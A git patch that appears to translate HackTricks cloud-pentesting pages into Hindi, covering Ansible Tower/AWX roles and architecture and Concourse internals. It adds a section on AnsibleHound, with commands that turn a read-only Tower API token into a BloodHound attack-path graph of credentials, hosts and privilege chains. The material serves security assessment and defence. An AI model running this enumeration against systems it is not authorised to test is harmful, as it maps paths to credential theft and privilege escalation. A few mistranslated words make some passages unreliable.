From ca400f92b88ae72c4833049435d7f3fe0aec17ec Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 1 Aug 2025 10:14:09 +0000 Subject: [PATCH] Translated ['src/pentesting-ci-cd/ansible-tower-awx-automation-controlle --- src/SUMMARY.md | 1 + ...ower-awx-automation-controller-security.md | 127 +++++++++++++----- .../concourse-architecture.md | 20 +-- .../concourse-enumeration-and-attacks.md | 74 +++++----- .../gh-actions-artifact-poisoning.md | 2 + .../gh-actions-cache-poisoning.md | 4 +- .../gh-actions-context-script-injections.md | 2 + .../aws-security/aws-persistence/README.md | 4 +- .../aws-sagemaker-persistence.md | 30 +++-- .../aws-post-exploitation/README.md | 2 + .../aws-macie-privesc.md | 13 +- .../aws-sagemaker-privesc.md | 22 +-- .../aws-workdocs-privesc.md | 12 +- .../aws-security/aws-services/aws-ecr-enum.md | 30 ++--- .../README.md | 2 + .../aws-inspector-enum.md | 58 ++++---- .../aws-trusted-advisor-enum.md | 10 +- .../aws-waf-enum.md | 70 +++++----- .../aws-services/eventbridgescheduler-enum.md | 12 +- .../az-post-exploitation/README.md | 4 +- .../az-function-apps-post-exploitation.md | 7 +- .../az-privilege-escalation/README.md | 2 + .../az-services/az-static-web-apps.md | 49 ++++--- .../gcp-permissions-for-a-pentest.md | 8 +- .../gcp-security/gcp-persistence/README.md | 2 + .../gcp-post-exploitation/README.md | 2 + .../gcp-cloud-functions-post-exploitation.md | 18 +-- .../gcp-add-custom-ssh-metadata.md | 48 ++++--- .../gcp-serviceusage-privesc.md | 16 ++- .../gcp-security/gcp-services/README.md | 2 + .../ibm-cloud-pentesting/README.md | 16 +-- .../kubernetes-security/kubernetes-basics.md | 76 +++++------ .../kubernetes-external-secrets-operator.md | 18 ++- .../kubernetes-kyverno/README.md | 18 ++- .../kubernetes-kyverno-bypass.md | 8 +- .../kubernetes-opa-gatekeeper/README.md | 12 +- .../kubernetes-opa-gatekeeper-bypass.md | 16 ++- ...bernetes-validatingwebhookconfiguration.md | 24 ++-- .../openshift-pentesting/README.md | 6 + .../openshift-basic-information.md | 12 +- .../openshift-jenkins/README.md | 10 +- .../openshift-jenkins-build-overrides.md | 42 +++--- .../openshift-privilege-escalation/README.md | 14 +- .../openshift-missing-service-account.md | 12 +- .../openshift-scc-bypass.md | 24 ++-- .../openshift-tekton.md | 14 +- .../openshift-pentesting/openshift-scc.md | 14 +- 47 files changed, 584 insertions(+), 405 deletions(-) diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 02ee21711..66a6a8fd8 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -227,6 +227,7 @@ - [AWS - Lightsail Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md) - [AWS - RDS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md) - [AWS - S3 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md) + - [Aws Sagemaker Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md) - [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md) - [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md) - [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md) diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md index 95feeb499..9ca940308 100644 --- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md +++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md @@ -4,9 +4,9 @@ ## Basic Information -**Ansible Tower** या इसका ओपनसोर्स संस्करण [**AWX**](https://github.com/ansible/awx) को **Ansible का उपयोगकर्ता इंटरफ़ेस, डैशबोर्ड, और REST API** के रूप में भी जाना जाता है। **भूमिका-आधारित पहुँच नियंत्रण**, नौकरी अनुसूची, और ग्राफिकल इन्वेंटरी प्रबंधन के साथ, आप एक आधुनिक UI से अपनी Ansible अवसंरचना का प्रबंधन कर सकते हैं। Tower का REST API और कमांड-लाइन इंटरफ़ेस इसे वर्तमान उपकरणों और कार्यप्रवाहों में एकीकृत करना सरल बनाता है। +**Ansible Tower** या इसका ओपन-सोर्स संस्करण [**AWX**](https://github.com/ansible/awx) को **Ansible का उपयोगकर्ता इंटरफ़ेस, डैशबोर्ड, और REST API** के रूप में भी जाना जाता है। **भूमिका-आधारित पहुँच नियंत्रण**, नौकरी अनुसूची, और ग्राफिकल इन्वेंटरी प्रबंधन के साथ, आप एक आधुनिक UI से अपनी Ansible अवसंरचना का प्रबंधन कर सकते हैं। Tower का REST API और कमांड-लाइन इंटरफ़ेस इसे वर्तमान उपकरणों और कार्यप्रवाहों में एकीकृत करना सरल बनाते हैं। -**Automation Controller एक नया** संस्करण है Ansible Tower का जिसमें अधिक क्षमताएँ हैं। +**Automation Controller Ansible Tower का एक नया** संस्करण है जिसमें अधिक क्षमताएँ हैं। ### Differences @@ -14,21 +14,21 @@ ### Tech Stack -- **Web Interface**: यह ग्राफिकल इंटरफ़ेस है जहाँ उपयोगकर्ता इन्वेंटरी, क्रेडेंशियल्स, टेम्पलेट्स, और नौकरियों का प्रबंधन कर सकते हैं। इसे सहज बनाने के लिए डिज़ाइन किया गया है और यह आपके स्वचालन नौकरियों की स्थिति और परिणामों को समझने में मदद करने के लिए दृश्य प्रस्तुतियाँ प्रदान करता है। -- **REST API**: आप जो कुछ भी वेब इंटरफ़ेस में कर सकते हैं, आप REST API के माध्यम से भी कर सकते हैं। इसका मतलब है कि आप AWX/Tower को अन्य प्रणालियों के साथ एकीकृत कर सकते हैं या उन क्रियाओं को स्क्रिप्ट कर सकते हैं जो आप आमतौर पर इंटरफ़ेस में करते हैं। +- **Web Interface**: यह ग्राफिकल इंटरफ़ेस है जहाँ उपयोगकर्ता इन्वेंटरी, क्रेडेंशियल, टेम्पलेट, और नौकरियों का प्रबंधन कर सकते हैं। इसे सहज बनाने के लिए डिज़ाइन किया गया है और यह आपके स्वचालन नौकरियों की स्थिति और परिणामों को समझने में मदद करने के लिए दृश्य प्रस्तुतियाँ प्रदान करता है। +- **REST API**: वे सभी कार्य जो आप वेब इंटरफ़ेस में कर सकते हैं, आप REST API के माध्यम से भी कर सकते हैं। इसका मतलब है कि आप AWX/Tower को अन्य प्रणालियों के साथ एकीकृत कर सकते हैं या उन क्रियाओं को स्क्रिप्ट कर सकते हैं जो आप सामान्यतः इंटरफ़ेस में करते हैं। - **Database**: AWX/Tower एक डेटाबेस (आमतौर पर PostgreSQL) का उपयोग करता है ताकि इसकी कॉन्फ़िगरेशन, नौकरी के परिणाम, और अन्य आवश्यक परिचालन डेटा को संग्रहीत किया जा सके। -- **RabbitMQ**: यह AWX/Tower द्वारा विभिन्न घटकों के बीच संवाद करने के लिए उपयोग किया जाने वाला संदेश प्रणाली है, विशेष रूप से वेब सेवा और कार्य चलाने वालों के बीच। +- **RabbitMQ**: यह AWX/Tower द्वारा विभिन्न घटकों के बीच संचार के लिए उपयोग किया जाने वाला संदेश प्रणाली है, विशेष रूप से वेब सेवा और कार्य चलाने वालों के बीच। - **Redis**: Redis एक कैश और कार्य कतार के लिए बैकएंड के रूप में कार्य करता है। ### Logical Components -- **Inventories**: एक इन्वेंटरी एक **होस्ट (या नोड्स)** का **संग्रह** है जिसके खिलाफ **नौकरियाँ** (Ansible प्लेबुक) **चलाई** जा सकती हैं। AWX/Tower आपको अपनी इन्वेंटरी को परिभाषित और समूहित करने की अनुमति देता है और यह गतिशील इन्वेंटरी का भी समर्थन करता है जो **अन्य प्रणालियों** से होस्ट सूचियाँ **लैपटॉप** कर सकता है जैसे AWS, Azure, आदि। -- **Projects**: एक प्रोजेक्ट मूल रूप से एक **Ansible प्लेबुक का संग्रह** है जो एक **संस्करण नियंत्रण प्रणाली** (जैसे Git) से लिया गया है ताकि आवश्यकतानुसार नवीनतम प्लेबुक को खींचा जा सके। -- **Templates**: नौकरी टेम्पलेट्स परिभाषित करते हैं **कैसे एक विशेष प्लेबुक चलाई जाएगी**, **इन्वेंटरी**, **क्रेडेंशियल्स**, और नौकरी के लिए अन्य **पैरामीटर** निर्दिष्ट करते हैं। -- **Credentials**: AWX/Tower एक सुरक्षित तरीका प्रदान करता है **गोपनीयताओं का प्रबंधन और संग्रहण करने के लिए, जैसे SSH कुंजी, पासवर्ड, और API टोकन**। ये क्रेडेंशियल्स नौकरी टेम्पलेट्स के साथ जुड़े जा सकते हैं ताकि प्लेबुक को चलाते समय आवश्यक पहुँच मिल सके। -- **Task Engine**: यहीं जादू होता है। कार्य इंजन Ansible पर आधारित है और **प्लेबुक चलाने** के लिए जिम्मेदार है। नौकरियाँ कार्य इंजन को भेजी जाती हैं, जो निर्दिष्ट क्रेडेंशियल्स का उपयोग करके निर्दिष्ट इन्वेंटरी के खिलाफ Ansible प्लेबुक चलाता है। +- **Inventories**: एक इन्वेंटरी एक **होस्ट (या नोड्स)** का **संग्रह** है जिसके खिलाफ **नौकरियाँ** (Ansible प्लेबुक) **चलाई** जा सकती हैं। AWX/Tower आपको अपनी इन्वेंटरी को परिभाषित और समूहित करने की अनुमति देता है और यह गतिशील इन्वेंटरी का समर्थन करता है जो **अन्य प्रणालियों** से होस्ट सूचियाँ **लैपटॉप** कर सकता है जैसे AWS, Azure, आदि। +- **Projects**: एक प्रोजेक्ट मूल रूप से एक **Ansible प्लेबुक का संग्रह** है जो एक **संस्करण नियंत्रण प्रणाली** (जैसे Git) से लिया गया है ताकि जब आवश्यक हो तो नवीनतम प्लेबुक को खींचा जा सके। +- **Templates**: नौकरी टेम्पलेट यह परिभाषित करते हैं कि **किस प्रकार की प्लेबुक चलाई जाएगी**, **इन्वेंटरी**, **क्रेडेंशियल**, और नौकरी के लिए अन्य **पैरामीटर** निर्दिष्ट करते हैं। +- **Credentials**: AWX/Tower एक सुरक्षित तरीका प्रदान करता है **गोपनीयताओं का प्रबंधन और संग्रहण करने के लिए, जैसे SSH कुंजी, पासवर्ड, और API टोकन**। ये क्रेडेंशियल नौकरी टेम्पलेट के साथ जुड़े जा सकते हैं ताकि प्लेबुक को चलाते समय आवश्यक पहुँच मिल सके। +- **Task Engine**: यहीं जादू होता है। कार्य इंजन Ansible पर आधारित है और **प्लेबुक चलाने** के लिए जिम्मेदार है। नौकरियाँ कार्य इंजन को भेजी जाती हैं, जो फिर निर्दिष्ट क्रेडेंशियल का उपयोग करके निर्दिष्ट इन्वेंटरी के खिलाफ Ansible प्लेबुक चलाता है। - **Schedulers and Callbacks**: ये AWX/Tower में उन्नत सुविधाएँ हैं जो **नौकरियों को विशिष्ट समय पर चलाने** या बाहरी घटनाओं द्वारा ट्रिगर करने की अनुमति देती हैं। -- **Notifications**: AWX/Tower नौकरी की सफलता या विफलता के आधार पर सूचनाएँ भेज सकता है। यह ईमेल, Slack संदेश, वेबहुक आदि जैसी विभिन्न सूचनाओं के तरीकों का समर्थन करता है। +- **Notifications**: AWX/Tower नौकरी की सफलता या विफलता के आधार पर सूचनाएँ भेज सकता है। यह ईमेल, Slack संदेश, वेबहुक, आदि जैसी विभिन्न सूचनाओं के तरीकों का समर्थन करता है। - **Ansible Playbooks**: Ansible प्लेबुक कॉन्फ़िगरेशन, तैनाती, और ऑर्केस्ट्रेशन उपकरण हैं। वे स्वचालित, दोहराने योग्य तरीके से प्रणालियों की इच्छित स्थिति का वर्णन करते हैं। YAML में लिखी गई, प्लेबुक Ansible की घोषणात्मक स्वचालन भाषा का उपयोग करके कॉन्फ़िगरेशन, कार्य, और चरणों का वर्णन करती हैं जिन्हें निष्पादित करने की आवश्यकता होती है। ### Job Execution Flow @@ -36,22 +36,22 @@ 1. **User Interaction**: एक उपयोगकर्ता AWX/Tower के साथ **Web Interface** या **REST API** के माध्यम से इंटरैक्ट कर सकता है। ये AWX/Tower द्वारा प्रदान की गई सभी कार्यक्षमताओं के लिए फ्रंट-एंड पहुँच प्रदान करते हैं। 2. **Job Initiation**: - उपयोगकर्ता, वेब इंटरफ़ेस या API के माध्यम से, एक **Job Template** के आधार पर नौकरी शुरू करता है। -- नौकरी टेम्पलेट में **Inventory**, **Project** (प्लेबुक को शामिल करते हुए), और **Credentials** के संदर्भ शामिल होते हैं। -- नौकरी शुरू करने पर, कार्यान्वयन के लिए नौकरी को कतार में डालने के लिए AWX/Tower बैकएंड को एक अनुरोध भेजा जाता है। +- नौकरी टेम्पलेट में **Inventory**, **Project** (जिसमें प्लेबुक है), और **Credentials** के संदर्भ शामिल होते हैं। +- नौकरी शुरू करने पर, AWX/Tower बैकएंड को निष्पादन के लिए नौकरी को कतार में लगाने के लिए एक अनुरोध भेजा जाता है। 3. **Job Queuing**: - **RabbitMQ** वेब घटक और कार्य चलाने वालों के बीच संदेशों को संभालता है। एक बार जब नौकरी शुरू होती है, तो RabbitMQ का उपयोग करके कार्य इंजन को एक संदेश भेजा जाता है। -- **Redis** कार्य कतार के लिए बैकएंड के रूप में कार्य करता है, प्रचालित नौकरियों का प्रबंधन करता है जो निष्पादन की प्रतीक्षा कर रही हैं। +- **Redis** कार्य कतार के लिए बैकएंड के रूप में कार्य करता है, निष्पादन की प्रतीक्षा कर रहे कतारबद्ध नौकरियों का प्रबंधन करता है। 4. **Job Execution**: -- **Task Engine** कतार में रखी गई नौकरी को उठाता है। यह नौकरी से संबंधित प्लेबुक, इन्वेंटरी, और क्रेडेंशियल्स के बारे में आवश्यक जानकारी **Database** से प्राप्त करता है। +- **Task Engine** कतारबद्ध नौकरी को उठाता है। यह नौकरी से संबंधित प्लेबुक, इन्वेंटरी, और क्रेडेंशियल के बारे में आवश्यक जानकारी **Database** से प्राप्त करता है। - संबंधित **Project** से प्राप्त Ansible प्लेबुक का उपयोग करते हुए, कार्य इंजन निर्दिष्ट **Inventory** नोड्स के खिलाफ प्लेबुक चलाता है, प्रदान किए गए **Credentials** का उपयोग करते हुए। - जैसे-जैसे प्लेबुक चलती है, इसका निष्पादन आउटपुट (लॉग, तथ्य, आदि) कैप्चर किया जाता है और **Database** में संग्रहीत किया जाता है। 5. **Job Results**: - एक बार जब प्लेबुक चलना समाप्त हो जाता है, तो परिणाम (सफलता, विफलता, लॉग) **Database** में सहेजे जाते हैं। -- उपयोगकर्ता फिर वेब इंटरफ़ेस के माध्यम से परिणाम देख सकते हैं या REST API के माध्यम से उन्हें क्वेरी कर सकते हैं। -- नौकरी के परिणामों के आधार पर, **Notifications** उपयोगकर्ताओं या बाहरी प्रणालियों को नौकरी की स्थिति के बारे में सूचित करने के लिए भेजी जा सकती हैं। सूचनाएँ ईमेल, Slack संदेश, वेबहुक आदि हो सकती हैं। +- उपयोगकर्ता फिर वेब इंटरफ़ेस के माध्यम से परिणाम देख सकते हैं या उन्हें REST API के माध्यम से क्वेरी कर सकते हैं। +- नौकरी के परिणामों के आधार पर, **Notifications** उपयोगकर्ताओं या बाहरी प्रणालियों को नौकरी की स्थिति के बारे में सूचित करने के लिए भेजी जा सकती हैं। सूचनाएँ ईमेल, Slack संदेश, वेबहुक, आदि हो सकती हैं। 6. **External Systems Integration**: -- **Inventories** को बाहरी प्रणालियों से गतिशील रूप से लिया जा सकता है, जिससे AWX/Tower को AWS, Azure, VMware, और अधिक जैसे स्रोतों से होस्ट खींचने की अनुमति मिलती है। -- **Projects** (प्लेबुक) को संस्करण नियंत्रण प्रणालियों से खींचा जा सकता है, यह सुनिश्चित करते हुए कि नौकरी के निष्पादन के दौरान अद्यतन प्लेबुक का उपयोग किया जाए। +- **Inventories** को बाहरी प्रणालियों से गतिशील रूप से स्रोत किया जा सकता है, जिससे AWX/Tower AWS, Azure, VMware, और अधिक जैसे स्रोतों से होस्ट खींच सकता है। +- **Projects** (प्लेबुक) को संस्करण नियंत्रण प्रणालियों से खींचा जा सकता है, यह सुनिश्चित करते हुए कि नौकरी निष्पादन के दौरान अद्यतन प्लेबुक का उपयोग किया जाए। - **Schedulers and Callbacks** का उपयोग अन्य प्रणालियों या उपकरणों के साथ एकीकृत करने के लिए किया जा सकता है, जिससे AWX/Tower बाहरी ट्रिगर्स पर प्रतिक्रिया कर सके या पूर्व निर्धारित समय पर नौकरियाँ चला सके। ### AWX lab creation for testing @@ -84,9 +84,9 @@ docker exec tools_awx_1 awx-manage create_preload_data ``` ## RBAC -### समर्थित भूमिकाएँ +### Supported roles -सबसे अधिक विशेषाधिकार प्राप्त भूमिका को **System Administrator** कहा जाता है। इस भूमिका के साथ कोई भी **कुछ भी संशोधित कर सकता है**। +सबसे अधिक विशेषाधिकार प्राप्त भूमिका को **System Administrator** कहा जाता है। इस भूमिका के साथ कोई भी **कुछ भी संशोधित** कर सकता है। एक **white box security** समीक्षा के लिए, आपको **System Auditor role** की आवश्यकता होगी, जो **सभी सिस्टम डेटा को देखने** की अनुमति देती है लेकिन कोई परिवर्तन नहीं कर सकती। एक और विकल्प **Organization Auditor role** प्राप्त करना होगा, लेकिन बेहतर होगा कि आप दूसरी भूमिका प्राप्त करें। @@ -95,16 +95,16 @@ docker exec tools_awx_1 awx-manage create_preload_data उपलब्ध भूमिकाओं का विस्तृत विवरण प्राप्त करने के लिए इसे विस्तारित करें 1. **System Administrator**: -- यह सुपरयूजर भूमिका है जिसमें सिस्टम में किसी भी संसाधन तक पहुँचने और संशोधित करने की अनुमति है। -- वे सभी संगठनों, टीमों, परियोजनाओं, इन्वेंटरी, नौकरी टेम्पलेट्स आदि का प्रबंधन कर सकते हैं। +- यह सुपरयूजर भूमिका है जिसमें सिस्टम में किसी भी संसाधन तक पहुंचने और उसे संशोधित करने की अनुमति है। +- वे सभी संगठनों, टीमों, परियोजनाओं, इन्वेंटरी, नौकरी टेम्पलेट आदि का प्रबंधन कर सकते हैं। 2. **System Auditor**: - इस भूमिका वाले उपयोगकर्ता सभी सिस्टम डेटा को देख सकते हैं लेकिन कोई परिवर्तन नहीं कर सकते। - यह भूमिका अनुपालन और निगरानी के लिए डिज़ाइन की गई है। 3. **Organization Roles**: - **Admin**: संगठन के संसाधनों पर पूर्ण नियंत्रण। -- **Auditor**: संगठन के संसाधनों तक केवल देखने की पहुँच। +- **Auditor**: संगठन के संसाधनों तक केवल देखने की पहुंच। - **Member**: संगठन में बिना किसी विशेष अनुमति के बुनियादी सदस्यता। -- **Execute**: संगठन के भीतर नौकरी टेम्पलेट्स चला सकते हैं। +- **Execute**: संगठन के भीतर नौकरी टेम्पलेट चला सकते हैं। - **Read**: संगठन के संसाधनों को देख सकते हैं। 4. **Project Roles**: - **Admin**: परियोजना का प्रबंधन और संशोधन कर सकते हैं। @@ -115,23 +115,90 @@ docker exec tools_awx_1 awx-manage create_preload_data - **Ad Hoc**: इन्वेंटरी पर अद हॉक कमांड चला सकते हैं। - **Update**: इन्वेंटरी स्रोत को अपडेट कर सकते हैं। - **Use**: नौकरी टेम्पलेट में इन्वेंटरी का उपयोग कर सकते हैं। -- **Read**: केवल देखने की पहुँच। +- **Read**: केवल देखने की पहुंच। 6. **Job Template Roles**: - **Admin**: नौकरी टेम्पलेट का प्रबंधन और संशोधन कर सकते हैं। - **Execute**: नौकरी चला सकते हैं। -- **Read**: केवल देखने की पहुँच। +- **Read**: केवल देखने की पहुंच। 7. **Credential Roles**: - **Admin**: क्रेडेंशियल्स का प्रबंधन और संशोधन कर सकते हैं। -- **Use**: नौकरी टेम्पलेट्स या अन्य संबंधित संसाधनों में क्रेडेंशियल्स का उपयोग कर सकते हैं। -- **Read**: केवल देखने की पहुँच। +- **Use**: नौकरी टेम्पलेट या अन्य संबंधित संसाधनों में क्रेडेंशियल्स का उपयोग कर सकते हैं। +- **Read**: केवल देखने की पहुंच। 8. **Team Roles**: - **Member**: टीम का हिस्सा लेकिन बिना किसी विशेष अनुमति के। - **Admin**: टीम के सदस्यों और संबंधित संसाधनों का प्रबंधन कर सकते हैं। 9. **Workflow Roles**: - **Admin**: कार्यप्रवाह का प्रबंधन और संशोधन कर सकते हैं। - **Execute**: कार्यप्रवाह चला सकते हैं। -- **Read**: केवल देखने की पहुँच। +- **Read**: केवल देखने की पहुंच। +## Enumeration & Attack-Path Mapping with AnsibleHound + +`AnsibleHound` एक ओपन-सोर्स BloodHound *OpenGraph* कलेक्टर है जो Go में लिखा गया है, जो एक **read-only** Ansible Tower/AWX/Automation Controller API टोकन को एक पूर्ण अनुमति ग्राफ में बदल देता है जिसे BloodHound (या BloodHound Enterprise) के अंदर विश्लेषण के लिए तैयार किया गया है। + +### यह क्यों उपयोगी है? +1. Tower/AWX REST API अत्यंत समृद्ध है और **हर ऑब्जेक्ट और RBAC संबंध** को उजागर करता है जो आपकी इंस्टेंस जानती है। +2. सबसे कम विशेषाधिकार (**Read**) टोकन के साथ भी सभी सुलभ संसाधनों (संगठन, इन्वेंटरी, होस्ट, क्रेडेंशियल्स, परियोजनाएं, नौकरी टेम्पलेट, उपयोगकर्ता, टीमें…) को पुनरावृत्त रूप से सूचीबद्ध करना संभव है। +3. जब कच्चे डेटा को BloodHound स्कीमा में परिवर्तित किया जाता है, तो आपको वही *attack-path* दृश्यता क्षमताएं मिलती हैं जो Active Directory आकलनों में इतनी लोकप्रिय हैं - लेकिन अब आपके CI/CD संपत्ति पर निर्देशित हैं। + +सुरक्षा टीमें (और हमलावर!) इसलिए: +* जल्दी से समझ सकते हैं **कौन क्या का एडमिन बन सकता है**। +* **क्रेडेंशियल्स या होस्ट की पहचान करें जो एक अप्रिविलेज्ड खाते से पहुंच योग्य हैं**। +* पूर्ण नियंत्रण प्राप्त करने के लिए कई “Read ➜ Use ➜ Execute ➜ Admin” किनारों को जोड़ सकते हैं Tower इंस्टेंस या अंतर्निहित बुनियादी ढांचे पर। + +### Prerequisites +* Ansible Tower / AWX / Automation Controller जो HTTPS के माध्यम से पहुंच योग्य है। +* एक उपयोगकर्ता API टोकन जो केवल **Read** के लिए स्कोप किया गया है (जो *User Details → Tokens → Create Token → scope = Read* से बनाया गया है)। +* कलेक्टर को संकलित करने के लिए Go ≥ 1.20 (या पूर्व-निर्मित बाइनरी का उपयोग करें)। + +### Building & Running +```bash +# Compile the collector +cd collector +go build . -o build/ansiblehound + +# Execute against the target instance +./build/ansiblehound -u "https://tower.example.com/" -t "READ_ONLY_TOKEN" +``` +आंतरिक रूप से AnsibleHound *पैगिनेटेड* `GET` अनुरोधों को (कम से कम) निम्नलिखित एंडपॉइंट्स के खिलाफ करता है और हर JSON ऑब्जेक्ट में लौटाए गए `related` लिंक का स्वचालित रूप से पालन करता है: +``` +/api/v2/organizations/ +/api/v2/inventories/ +/api/v2/hosts/ +/api/v2/job_templates/ +/api/v2/projects/ +/api/v2/credentials/ +/api/v2/users/ +/api/v2/teams/ +``` +सभी एकत्रित पृष्ठों को डिस्क पर एकल JSON फ़ाइल में मर्ज किया जाता है (डिफ़ॉल्ट: `ansiblehound-output.json`)। + +### BloodHound Transformation +कच्चे Tower डेटा को फिर **BloodHound OpenGraph** में परिवर्तित किया जाता है, जिसमें `AT` (Ansible Tower) से पूर्ववर्ती कस्टम नोड्स होते हैं: +* `ATOrganization`, `ATInventory`, `ATHost`, `ATJobTemplate`, `ATProject`, `ATCredential`, `ATUser`, `ATTeam` + +और संबंधों / विशेषाधिकारों को मॉडलिंग करने वाले किनारे: +* `ATContains`, `ATUses`, `ATExecute`, `ATRead`, `ATAdmin` + +परिणाम को सीधे BloodHound में आयात किया जा सकता है: +```bash +neo4j stop # if BloodHound CE is running locally +bloodhound-import ansiblehound-output.json +``` +आप वैकल्पिक रूप से **कस्टम आइकन** अपलोड कर सकते हैं ताकि नए नोड प्रकार दृश्य रूप से भिन्न हों: +```bash +python3 scripts/import-icons.py "https://bloodhound.example.com" "BH_JWT_TOKEN" +``` +### Defensive & Offensive Considerations +* एक *Read* टोकन सामान्यतः हानिरहित माना जाता है लेकिन फिर भी **पूर्ण टोपोलॉजी और हर क्रेडेंशियल मेटाडेटा** लीक करता है। इसे संवेदनशील मानें! +* **कम से कम विशेषाधिकार** लागू करें और अप्रयुक्त टोकनों को घुमाएँ / रद्द करें। +* अत्यधिक अनुक्रमण (कई अनुक्रमिक `GET` अनुरोध, उच्च पृष्ठन गतिविधि) के लिए API की निगरानी करें। +* हमलावर के दृष्टिकोण से, यह CI/CD पाइपलाइन के भीतर *प्रारंभिक पैर जमाना → विशेषाधिकार वृद्धि* तकनीक के लिए एकदम सही है। + +## References +* [AnsibleHound – BloodHound Collector for Ansible Tower/AWX](https://github.com/TheSleekBoyCompany/AnsibleHound) +* [BloodHound OSS](https://github.com/BloodHoundAD/BloodHound) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md index e6414549a..f2404b8d9 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md @@ -1,9 +1,9 @@ # Concourse Architecture -## Concourse Architecture - {{#include ../../banners/hacktricks-training.md}} +## Concourse Architecture + [**Concourse दस्तावेज़ से संबंधित डेटा:**](https://concourse-ci.org/internals.html) ### Architecture @@ -12,24 +12,24 @@ #### ATC: वेब UI और निर्माण शेड्यूलर -ATC Concourse का दिल है। यह **वेब UI और API** चलाता है और सभी पाइपलाइन **शेड्यूलिंग** के लिए जिम्मेदार है। यह **PostgreSQL** से **जुड़ता है**, जिसका उपयोग यह पाइपलाइन डेटा (निर्माण लॉग सहित) संग्रहीत करने के लिए करता है। +ATC Concourse का दिल है। यह **वेब UI और API** चलाता है और सभी पाइपलाइन **शेड्यूलिंग** के लिए जिम्मेदार है। यह **PostgreSQL** से जुड़ता है, जिसका उपयोग यह पाइपलाइन डेटा (निर्माण लॉग सहित) संग्रहीत करने के लिए करता है। [checker](https://concourse-ci.org/checker.html) की जिम्मेदारी नए संसाधनों के संस्करणों की लगातार जांच करना है। [scheduler](https://concourse-ci.org/scheduler.html) किसी नौकरी के लिए निर्माणों को शेड्यूल करने के लिए जिम्मेदार है और [build tracker](https://concourse-ci.org/build-tracker.html) किसी भी शेड्यूल किए गए निर्माणों को चलाने के लिए जिम्मेदार है। [garbage collector](https://concourse-ci.org/garbage-collector.html) किसी भी अप्रयुक्त या पुरानी वस्तुओं, जैसे कंटेनरों और वॉल्यूम को हटाने के लिए सफाई तंत्र है। #### TSA: कार्यकर्ता पंजीकरण और अग्रेषण -TSA एक **कस्टम-निर्मित SSH सर्वर** है जिसका उपयोग केवल **पंजीकरण** के लिए किया जाता है [**कार्यकर्ताओं**](https://concourse-ci.org/internals.html#architecture-worker) को [ATC](https://concourse-ci.org/internals.html#component-atc) के साथ सुरक्षित रूप से। +TSA एक **कस्टम-निर्मित SSH सर्वर** है जिसका उपयोग केवल [**कार्यकर्ताओं**](https://concourse-ci.org/internals.html#architecture-worker) को [ATC](https://concourse-ci.org/internals.html#component-atc) के साथ सुरक्षित रूप से **पंजीकरण** करने के लिए किया जाता है। -TSA **डिफ़ॉल्ट रूप से `2222` पोर्ट पर सुनता है**, और आमतौर पर [ATC](https://concourse-ci.org/internals.html#component-atc) के साथ सह-स्थित होता है और लोड बैलेंसर के पीछे होता है। +TSA **डिफ़ॉल्ट रूप से `2222` पोर्ट पर सुनता है**, और आमतौर पर [ATC](https://concourse-ci.org/internals.html#component-atc) के साथ स्थित होता है और लोड बैलेंसर के पीछे होता है। -**TSA SSH कनेक्शन पर CLI लागू करता है,** [**इन आदेशों**](https://concourse-ci.org/internals.html#component-tsa) का समर्थन करता है। +**TSA SSH कनेक्शन के माध्यम से CLI लागू करता है,** [**इन आदेशों**](https://concourse-ci.org/internals.html#component-tsa) का समर्थन करता है। -#### कार्यकर्ता +#### Workers -कार्यक्रमों को निष्पादित करने के लिए Concourse को कुछ कार्यकर्ताओं की आवश्यकता होती है। ये कार्यकर्ता [TSA](https://concourse-ci.org/internals.html#component-tsa) के माध्यम से **स्वयं को पंजीकृत** करते हैं और सेवाएँ चलाते हैं [**Garden**](https://github.com/cloudfoundry-incubator/garden) और [**Baggageclaim**](https://github.com/concourse/baggageclaim)। +कार्यक्रमों को निष्पादित करने के लिए Concourse के पास कुछ कार्यकर्ता होने चाहिए। ये कार्यकर्ता [TSA](https://concourse-ci.org/internals.html#component-tsa) के माध्यम से **स्वयं को पंजीकृत** करते हैं और सेवाओं [**Garden**](https://github.com/cloudfoundry-incubator/garden) और [**Baggageclaim**](https://github.com/concourse/baggageclaim) को चलाते हैं। -- **Garden**: यह **कंटेनर प्रबंधन API** है, जो आमतौर पर **पोर्ट 7777** पर **HTTP** के माध्यम से चलता है। -- **Baggageclaim**: यह **वॉल्यूम प्रबंधन API** है, जो आमतौर पर **पोर्ट 7788** पर **HTTP** के माध्यम से चलता है। +- **Garden**: यह **Container Manage API** है, जो आमतौर पर **HTTP** के माध्यम से **पोर्ट 7777** पर चलता है। +- **Baggageclaim**: यह **Volume Management API** है, जो आमतौर पर **HTTP** के माध्यम से **पोर्ट 7788** पर चलता है। ## References diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md index 48d6e9d12..893271d88 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md @@ -1,21 +1,21 @@ # Concourse Enumeration & Attacks -## Concourse Enumeration & Attacks - {{#include ../../banners/hacktricks-training.md}} +## Concourse Enumeration & Attacks + ### User Roles & Permissions Concourse में पांच भूमिकाएँ होती हैं: -- _Concourse_ **Admin**: यह भूमिका केवल **मुख्य टीम** (डिफ़ॉल्ट प्रारंभिक concourse टीम) के 